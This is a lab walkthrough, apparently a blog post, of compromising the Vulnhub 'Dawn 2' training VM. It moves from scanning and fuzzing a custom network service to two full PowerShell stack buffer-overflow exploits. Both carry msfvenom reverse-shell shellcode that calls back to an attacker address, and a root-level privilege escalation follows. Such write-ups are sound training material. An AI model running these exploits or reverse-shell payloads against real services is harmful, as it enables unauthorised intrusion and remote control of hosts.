Vulnhub | Dawn 2

In this post, we will take a look at the steps I took to completely compromise the Dawn 2 host from Vulnhub.

7 months ago   •   15 min read

By 0xBEN
Table of contents

Nmap Scan

# Nmap 7.92 scan initiated Mon Feb 14 14:40:48 2022 as: nmap -T5 -p80,1435,1985 -A -oA scan-all 10.9.9.37
Nmap scan report for dawn2.cyber.range (10.9.9.37)
Host is up (0.00056s latency).

PORT     STATE SERVICE   VERSION
80/tcp   open  http      Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.38 (Debian)
1435/tcp open  ibm-cics?
1985/tcp open  hsrp?
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port1435-TCP:V=7.92%I=7%D=2/14%Time=620AB04C%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,4,"\r\n\r\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port1985-TCP:V=7.92%I=7%D=2/14%Time=620AB04C%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,4,"\r\n\r\n");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|storage-misc|firewall|WAP
Running (JUST GUESSING): Linux 2.6.X|4.X|5.X|3.X|2.4.X (94%), Synology DiskStation Manager 5.X (88%), WatchGuard Fireware 11.X (88%)
OS CPE: cpe:/o:linux:linux_kernel:2.6.32 cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:linux:linux_kernel:3.10 cpe:/o:linux:linux_kernel cpe:/a:synology:diskstation_manager:5.1 cpe:/o:watchguard:fireware:11.8 cpe:/o:linux:linux_kernel:2.4.20
Aggressive OS guesses: Linux 2.6.32 (94%), Linux 4.15 - 5.6 (93%), Linux 2.6.32 or 3.10 (93%), Linux 4.4 (93%), Linux 5.0 - 5.4 (93%), Linux 5.0 - 5.3 (92%), Linux 5.4 (92%), Linux 3.13 (92%), Linux 2.6.32 - 2.6.35 (91%), Linux 2.6.32 - 2.6.39 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops

TRACEROUTE (using port 443/tcp)
HOP RTT     ADDRESS
1   0.43 ms pfSense.cyber.range (10.0.0.1)
2   0.80 ms dawn2.cyber.range (10.9.9.37)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Feb 14 14:41:05 2022 -- 1 IP address (1 host up) scanned in 17.40 seconds





Service Enumeration

I try the unknown ports first, cause I am fairly certain they'll be dead ends and I can get them out of the way first.

TCP/1435

I try connecting to this port with nc $target 1435 to grab some banners, but if there is a service running on this port, it's definitely not responding. Same issue with telnet.





TCP/1985

Same issue as TCP/1435.





HTTP

Nothing interesting in the page source and no robots.txt file to parse. There is a hyperlink pointing to http://10.9.9.37/dawn.zip, seems like I need to download the archive and inspect the contents.

If I use the file command to analyze the dawn.exe file, it comes back as a Windows 32-bit binary.

I am going to transfer the dawn.exe application to a Windows VM running in my environment for further analysis.

I run a Python web server in the directory where dawn.exe is stored. Next, I will download the file from the Windows VM.

Here, I have a remote desktop session from Kali to the Windows VM. Next, I will open the web browser and grab the file.





Running dawn.exe

I am going to run the application as administrator and check out what it does.

Running the application seems to start some kind of networked service. I wrote a quick PowerShell script to parse netstat output for dawn.exe, since Windows 7 does not have the NetTcpIP module, and therefore, does not have the Get-NetTcpConnection cmdlet for object output.

$netstat = netstat -anob
[string[]]$output = @()
$port = $null
$portLineFound = $false
$serviceName = $null
for ($i = 0 ; $i -lt $netstat.Count ; $i++) {
    
    if ($netstat[$i] -like '*listen*') {
        
        if ($portLineFound -and $serviceName) {
            $port = $netstat[$i]
            $portLineFound = $true
            $serviceName = $null
        }
        else {       
            $port = $netstat[$i]
            $portLineFound = $true
        }

    }
    if ($netstat[$i] -match '.*\[.*\.exe\].*') {
        $serviceName = $netstat[$i]
    }

    if ($port -and $serviceName) {
        $output += "$port $serviceName"
        $port = $null
        $portLineFound = $false
        $serviceName = $null
    }

}

$output | Where-Object {$_ -like '*dawn*'}

The dawn.exe service binds to TCP/1985 , which was seen in the nmap scan above.





TCP/1985

A connection was successfully established. However, the application immediately exits if I enter any input. If you read the README.txt file included with the application download, you'll see this message:

DAWN Multi Server - Version 1.1

Important:

Due the lack of implementation of the Dawn client, many issues may be experienced, such as the message not being delivered. In order to make sure the connection is finished and the message well received, send a NULL-byte at the ending of your message. 
Also, the service may crash after several requests.

Sorry for the inconvenience!
...send a NULL-byte at the ending of your message.





Sending the Null-Byte

It will be much easier to script a client to connect to the service where I can send some data terminated by a null byte. I am most comfortable in PowerShell, so I will write the TCP client script in Visual Studio Code running in Kali.

Go to File > New File and save the file as client.ps1.

# Target server IP address
$server = '10.80.80.14'
# TCP port
$port = 1985

# Take the string input and convert it to bytes
[byte[]][char[]]$testInput = 'this is a test'
[byte]$nullByte = 0x00

# Send to dawn.exe server
[byte[]]$allBytes = $testInput + $nullByte

# Create a new TCP client object
$tcpClient = [System.Net.Sockets.TcpClient]::new()

# Create a buffer space to receive responses from the server
[byte[]][char[]]$receiveBuffer = '1' * 1024

try {
    # Try this code first
    
    # Wait 2 seconds before giving up connection attempt
    $tcpClient.ReceiveTimeout = 2000
    # Connect to the server
    $tcpClient.Client.Connect($server, $port)
    # Send the raw bytes
    $tcpClient.Client.Send($allBytes)
    # Connection complete close and dispose of the object
    $tcpClient.Close()
    $tcpClient.Dispose()
}
catch {
    # Run this code in case of terminating errors

    # Connection failed close and dispose of the object
    $tcpClient.Close()
    $tcpClient.Dispose()
    # Write the error to the console and stop execution
    throw $_.Exception
}

I run the script, the connection is successful and the data received.

Unfortunately, the server still crashes even with the null byte, but the author did warn us about stability issues. I am going to do some more application testing in a debugger.





Immunity Debugger

I am going to run Immunity Debugger on my Windows VM as administrator and attach the process to the debugger.

Go to File > Open and then select the dawn.exe binary in the folder where it is stored.

Click the button to run the process, because Immunity pauses the process when it is first loaded. Let's see what happens if I pass a few hundred A characters to the application. In other words, let's try fuzzing the application.





Fuzzing the Application

[byte[]][char[]]$testInput = 'A' * 300
Change this line to the new payload

Now that the payload has been changed, run the script and check the status in the debugger. We can see that we get an access violation, which means this application should be vulnerable to a buffer overflow attack.

Note that the A characters have completely overflowed several registers – even into the EIP.





Buffer Overflow to Remote Code Execution

I have written an introductory guide to exploiting a 32-bit application on Windows. Therefore, I won't be going over the steps from start to finish on developing working shellcode against this target. I will develop the exploit and paste the final code here.

Exploit Development: 32-bit Stack-Based Buffer Overflow with PowerShell
In this post, I demonstrate the process from start to finish of developing a working reverse shell using PowerShell to perform a simple 32-bit stack-based buffer overflow against Vulnserver.





Develop in Test and Refactor for the Target

I will develop the working exploit against my Windows VM. Once I can get a working reverse shell on the VM, I will be ready to run the exploit against the actual target.

Success! I got a reverse shell on my Windows VM. This should transfer nicely over to the real target. Here's the working shellcode.

If you're going to use my exploit, be sure to generate new shellcode with msfvenom and change variables like server and port.

Shellcode Solution

Click to expand
# Target server IP address
$server = '10.80.80.14'
# TCP port
$port = 1985

# Take the string input and convert it to bytes
# msf-pattern_create -l 500
# msf-pattern_offset -l 500 -q 316A4130 = 272
[byte[]][char[]]$testInput = 'A' * 272

# 345964BA
# Memory address points to ESP, where shellcode will be on the stack
# Bytes in reverse order due to little endianness
[byte[]]$jmpESP = 0xBA,0x64,0x59,0x34

<# Comment out as no longer needed

# [byte[]][char[]]$eip = 'B' * 4

# Hexadecimal 01..FF
# Send all ASCII chars to application
# Test for which chars will break shellcode
[byte[]]$allAsciiChars = 0..255

# Null byte in the shellcode will break it
# Should almost always filter 0x00
[byte[]]$badCharacters = 0x00

# Send any characters in the payload that are not in $badCharacters
#[byte[]]$testChars = $allAsciiChars | Where-Object {$_ -notin $badCharacters}

#>

# msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.2 LPORT=80 EXITFUNC=thread -f powershell -a x86 -b "\x00"
[byte[]]$shellcode = 0xdb,0xc3,0xd9,0x74,0x24,0xf4,0xbb,0x5f,0xd3,0x33,0xcf,0x5d,0x33,0xc9,0xb1,0x52,0x31,0x5d,0x17,0x83,0xc5,0x4,0x3,0x2,0xc0,0xd1,0x3a,0x40,0xe,0x97,0xc5,0xb8,0xcf,0xf8,0x4c,0x5d,0xfe,0x38,0x2a,0x16,0x51,0x89,0x38,0x7a,0x5e,0x62,0x6c,0x6e,0xd5,0x6,0xb9,0x81,0x5e,0xac,0x9f,0xac,0x5f,0x9d,0xdc,0xaf,0xe3,0xdc,0x30,0xf,0xdd,0x2e,0x45,0x4e,0x1a,0x52,0xa4,0x2,0xf3,0x18,0x1b,0xb2,0x70,0x54,0xa0,0x39,0xca,0x78,0xa0,0xde,0x9b,0x7b,0x81,0x71,0x97,0x25,0x1,0x70,0x74,0x5e,0x8,0x6a,0x99,0x5b,0xc2,0x1,0x69,0x17,0xd5,0xc3,0xa3,0xd8,0x7a,0x2a,0xc,0x2b,0x82,0x6b,0xab,0xd4,0xf1,0x85,0xcf,0x69,0x2,0x52,0xad,0xb5,0x87,0x40,0x15,0x3d,0x3f,0xac,0xa7,0x92,0xa6,0x27,0xab,0x5f,0xac,0x6f,0xa8,0x5e,0x61,0x4,0xd4,0xeb,0x84,0xca,0x5c,0xaf,0xa2,0xce,0x5,0x6b,0xca,0x57,0xe0,0xda,0xf3,0x87,0x4b,0x82,0x51,0xcc,0x66,0xd7,0xeb,0x8f,0xee,0x14,0xc6,0x2f,0xef,0x32,0x51,0x5c,0xdd,0x9d,0xc9,0xca,0x6d,0x55,0xd4,0xd,0x91,0x4c,0xa0,0x81,0x6c,0x6f,0xd1,0x88,0xaa,0x3b,0x81,0xa2,0x1b,0x44,0x4a,0x32,0xa3,0x91,0xdd,0x62,0xb,0x4a,0x9e,0xd2,0xeb,0x3a,0x76,0x38,0xe4,0x65,0x66,0x43,0x2e,0xe,0xd,0xbe,0xb9,0x3b,0xd2,0xc0,0x3b,0x54,0xd0,0xc0,0x3b,0xf4,0x5d,0x26,0x51,0xe4,0xb,0xf1,0xce,0x9d,0x11,0x89,0x6f,0x61,0x8c,0xf4,0xb0,0xe9,0x23,0x9,0x7e,0x1a,0x49,0x19,0x17,0xea,0x4,0x43,0xbe,0xf5,0xb2,0xeb,0x5c,0x67,0x59,0xeb,0x2b,0x94,0xf6,0xbc,0x7c,0x6a,0xf,0x28,0x91,0xd5,0xb9,0x4e,0x68,0x83,0x82,0xca,0xb7,0x70,0xc,0xd3,0x3a,0xcc,0x2a,0xc3,0x82,0xcd,0x76,0xb7,0x5a,0x98,0x20,0x61,0x1d,0x72,0x83,0xdb,0xf7,0x29,0x4d,0x8b,0x8e,0x1,0x4e,0xcd,0x8e,0x4f,0x38,0x31,0x3e,0x26,0x7d,0x4e,0x8f,0xae,0x89,0x37,0xed,0x4e,0x75,0xe2,0xb5,0x6f,0x94,0x26,0xc0,0x7,0x1,0xa3,0x69,0x4a,0xb2,0x1e,0xad,0x73,0x31,0xaa,0x4e,0x80,0x29,0xdf,0x4b,0xcc,0xed,0xc,0x26,0x5d,0x98,0x32,0x95,0x5e,0x89

# NOP sled
[byte[]]$nopSled = @(0x90) * 32

# Terminate payload with null byte
[byte]$nullByte = 0x00

# Combine all the elements together
# Send to dawn.exe server
[byte[]]$allBytes = $testInput + $jmpESP + $nopSled + $shellcode + $nullByte

# Create a new TCP client object
$tcpClient = [System.Net.Sockets.TcpClient]::new()

# Create a buffer space to receive responses from the server
[byte[]][char[]]$receiveBuffer = '1' * 1024

try {
    # Try this code first
    
    # Wait 2 seconds before giving up connection attempt
    $tcpClient.ReceiveTimeout = 2000
    # Connect to the server
    $tcpClient.Client.Connect($server, $port)
    # Send the raw bytes
    $tcpClient.Client.Send($allBytes)
    # Connection complete close and dispose of the object
    $tcpClient.Close()
    $tcpClient.Dispose()
}
catch {
    # Run this code in case of terminating errors

    # Connection failed close and dispose of the object
    $tcpClient.Close()
    $tcpClient.Dispose()
    # Write the error to the console and stop execution
    throw $_.Exception
}





Attacking the Target

I should just be able to change the following in the exploit:

  • $server – change the IP address
  • $shellcode – the real target is a Linux host

If you look at the nmap scan, the HTTP headers come back as:

80/tcp   open   http     Apache httpd 2.4.38 ((Debian))

In all likelihood, this is a Linux host using wine to run a Windows binary. The windows/shell_reverse_tcp payload would cause the payload to fail. Let's rerun msfvenom and update the script file.

msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.0.0.2 LPORT=80 EXITFUNC=thread -f powershell -a x86 -b "\x00"

I choose the linux/x86/shell_reverse_tcp payload, because when we checked the dawn.exe with the file command on Kali, it came back as a 32-bit Windows binary – thus x86.

Now that the script has been updated, I need to do the following things:

  • Start a TCP listener
  • Run the exploit against the target

Perfect! I got a reverse shell, albeit not a very stable one. I should be able to spawn a more useful shell with the command:

python -c "import pty; pty.spawn('/bin/bash')"





Post-Exploitation

user.txt





Current User

Click to expand
dawn-daemon@dawn2:/home/dawn-daemon$ 

id

uid=1000(dawn-daemon) gid=1000(dawn-daemon) groups=1000(dawn-daemon),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),115(lpadmin),116(scanner)

sudo -v
    
Sorry, user dawn-daemon may not run sudo on dawn2.





Operating System & Kernel

Click to expand
cat /etc/*release

PRETTY_NAME="Debian GNU/Linux 10 (buster)"
NAME="Debian GNU/Linux"
VERSION_ID="10"
VERSION="10 (buster)"
VERSION_CODENAME=buster
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"

uname -a
    
Linux dawn2 4.19.0-8-amd64 #1 SMP Debian 4.19.98-1 (2020-01-26) x86_64 GNU/Linux





Users and Groups

Click to expand
cat /etc/passwd && echo -e '\n' && cat /etc/group

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:105:113:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
avahi:x:107:117:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
saned:x:108:118::/var/lib/saned:/usr/sbin/nologin
colord:x:109:119:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
hplip:x:110:7:HPLIP system user,,,:/var/run/hplip:/bin/false
dawn-daemon:x:1000:1000:dawn-daemon,,,:/home/dawn-daemon:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
uuidd:x:111:120::/run/uuidd:/usr/sbin/nologin


root:x:0:
daemon:x:1:
bin:x:2:
sys:x:3:
adm:x:4:
tty:x:5:
disk:x:6:
lp:x:7:
mail:x:8:
news:x:9:
uucp:x:10:
man:x:12:
proxy:x:13:
kmem:x:15:
dialout:x:20:
fax:x:21:
voice:x:22:
cdrom:x:24:dawn-daemon
floppy:x:25:dawn-daemon
tape:x:26:
sudo:x:27:
audio:x:29:dawn-daemon
dip:x:30:dawn-daemon
www-data:x:33:
backup:x:34:
operator:x:37:
list:x:38:
irc:x:39:
src:x:40:
gnats:x:41:
shadow:x:42:
utmp:x:43:
video:x:44:dawn-daemon
sasl:x:45:
plugdev:x:46:dawn-daemon
staff:x:50:
games:x:60:
users:x:100:
nogroup:x:65534:
systemd-journal:x:101:
systemd-timesync:x:102:
systemd-network:x:103:
systemd-resolve:x:104:
input:x:105:
kvm:x:106:
render:x:107:
crontab:x:108:
netdev:x:109:dawn-daemon
messagebus:x:110:
bluetooth:x:111:dawn-daemon
ssl-cert:x:112:
avahi-autoipd:x:113:
lpadmin:x:115:dawn-daemon
scanner:x:116:saned,dawn-daemon
avahi:x:117:
saned:x:118:
colord:x:119:
dawn-daemon:x:1000:
systemd-coredump:x:999:
uuidd:x:120:





Scheduled Tasks

Nothing in /etc/cron*.

crontab -l confirms that wine is being used to run the Windows binary.





Interesting Files

/home/dawn-daemon/dawn-BETA.exe

This file is owned by the root user. One thing that I noticed when connecting to TCP/1435 is that the service behaved a lot like the dawn service running on TCP/1985. I suspect they're very similar binaries.

I believe dawn-BETA.exe is being run by root on TCP/1435, so I just need need to do the following:

  • Transfer the dawn-BETA.exe binary to Kali
  • Transfer to Windows
  • Develop another exploit following the same procedure as before





Privilege Escalation

Transfer dawn-BETA.exe to Kali

On the target, I can python3 -m http.server, but I'll have to bind it to high level port, due to my lack of privileges.

python3 -m http.server 50000 &
Use the & symbol to start it in the background

Now from Kali if I run another nmap scan, I should see TCP/50000 is open.

I can run wget http://$target:50000/dawn-BETA.exe to download the file from the target.





Develop Another Exploit for dawn-BETA.exe

I run another port scan on the Windows VM, because I want to check if this service binds to TCP/1435 as I suspect.

Indeed, it does. So if I develop an exploit for this application, I should be able to get a reverse shell as root.

Once you've developed your exploit targeting the Windows VM, don't forget to update:

  • The target IP address
  • The payload type

Final Exploit

Click to expand
# Target server IP address
$server = '10.9.9.37'
# TCP port
$port = 1435

<# Confirmed bad chars: 0x00
[byte[]]$allAsciiChars = 0..255
[byte[]]$badCharacters = 0x00
[byte[]]$testChars = $allAsciiChars | Where-Object {$_ -notin $badCharacters}
#>

[byte[]][char[]]$testInput = 'A' * 13
[byte[]]$jmpESP = 0x13,0x15,0x50,0x52 # 52501513 little-endian
[byte[]]$eip = $jmpESP
[byte[]]$nopSled = @(0x90) * 30
[byte[]]$shellcode = 0xbb,0x3,0x3a,0xc9,0xfc,0xd9,0xec,0xd9,0x74,0x24,0xf4,0x58,0x31,0xc9,0xb1,0x12,0x31,0x58,0x12,0x3,0x58,0x12,0x83,0xc3,0x3e,0x2b,0x9,0xf2,0xe5,0x5c,0x11,0xa7,0x5a,0xf0,0xbc,0x45,0xd4,0x17,0xf0,0x2f,0x2b,0x57,0x62,0xf6,0x3,0x67,0x48,0x88,0x2d,0xe1,0xab,0xe0,0xa7,0x11,0x4c,0xf2,0xdf,0x13,0x4c,0xf2,0x4f,0x9d,0xad,0x42,0x9,0xcd,0x7c,0xf1,0x65,0xee,0xf7,0x14,0x44,0x71,0x55,0xbe,0x39,0x5d,0x29,0x56,0xae,0x8e,0xe2,0xc4,0x47,0x58,0x1f,0x5a,0xcb,0xd3,0x1,0xea,0xe0,0x2e,0x41
[byte]$nullByte = 0x00
[byte[]]$allBytes = $testInput + $eip + $nopSled + $shellcode + $nullByte

$tcpClient = [System.Net.Sockets.TcpClient]::new()

[byte[]][char[]]$receiveBuffer = '1' * 1024

try {
    $tcpClient.ReceiveTimeout = 2000
    $tcpClient.Client.Connect($server, $port)
    $tcpClient.Client.Send($allBytes)
    $tcpClient.Close()
    $tcpClient.Dispose()
}
catch {

    $tcpClient.Close()
    $tcpClient.Dispose()
    throw $_.Exception
}





Run the Exploit Against the Target

First, I start a listener on the TCP port in my shellcode. Then, I run the exploit agains the target.





proof.txt

Spread the word

Keep reading